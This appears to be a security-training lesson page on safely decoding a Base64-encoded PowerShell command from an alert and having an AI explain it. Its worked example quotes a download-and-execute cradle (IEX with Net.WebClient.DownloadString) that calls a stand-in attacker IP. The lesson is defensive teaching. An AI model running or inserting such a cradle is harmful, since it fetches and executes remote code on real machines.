Decode a suspicious command safely

Módulo 1: Triage with AI, and check every query

Temario del curso

Esta lección aún no está en tu idioma, así que aquí la tienes en inglés.

Prueba rápida

Guess first, no penalty. An alert shows powershell.exe -EncodedCommand followed by a long block of letters. What's the safest first step?

PowerShell is Windows' command shell. Microsoft's PowerShell docs say -EncodedCommand "accepts a Base64-encoded string version of a command", and the text must be UTF-16LE. Base64 is a way of writing any data as plain letters and digits. Admins use it for commands with complicated quoting. Attackers use it to hide what a command does from a quick look.

Decoding is safe: it only turns the letters back into text. This PowerShell line decodes without running anything:

[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String("<paste the block here>"))

Then AI is genuinely useful. It explains unfamiliar commands well, and it doesn't need to run anything to do it. Your job is to check its explanation against the decoded text, line by line.

Work in a lab or an approved analysis machine, and paste only the command, not a whole log with usernames and hostnames.

A worked example

The decoded command was IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.50/a.ps1'). The prompt (the message you send to the AI):

Explain this decoded PowerShell command for a security analyst.
Don't run it, and don't suggest running it.

List: what each part does, every URL, IP address and file path in it,
what would happen if it ran, and what you can't tell from the text.

Command: IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.50/a.ps1')

Completa los espacios

Fill the gaps.

Prompt

Explain this decoded PowerShell command. List every in it, and what you .

Try it

Tus pasos, unos 2 minutos

0 de 1
  1. 1.In a lab or with a training sample, decode one encoded command and run the prompt. Check one part of the explanation yourself. Start a note called "AI SOC checklist": each lesson in this module adds one check.2 min

Práctica

Pregunta 1 de 2

A user's machine ran powershell.exe -EncodedCommand with a long Base64 string. A teammate suggests pasting the whole command into a terminal to see what happens. What do you do?

Tutor de IA

Pregunta sobre esta lección y recibe ayuda con la tarea de “Pruébalo”. El tutor es parte de Learn Pro.

Ver Learn Pro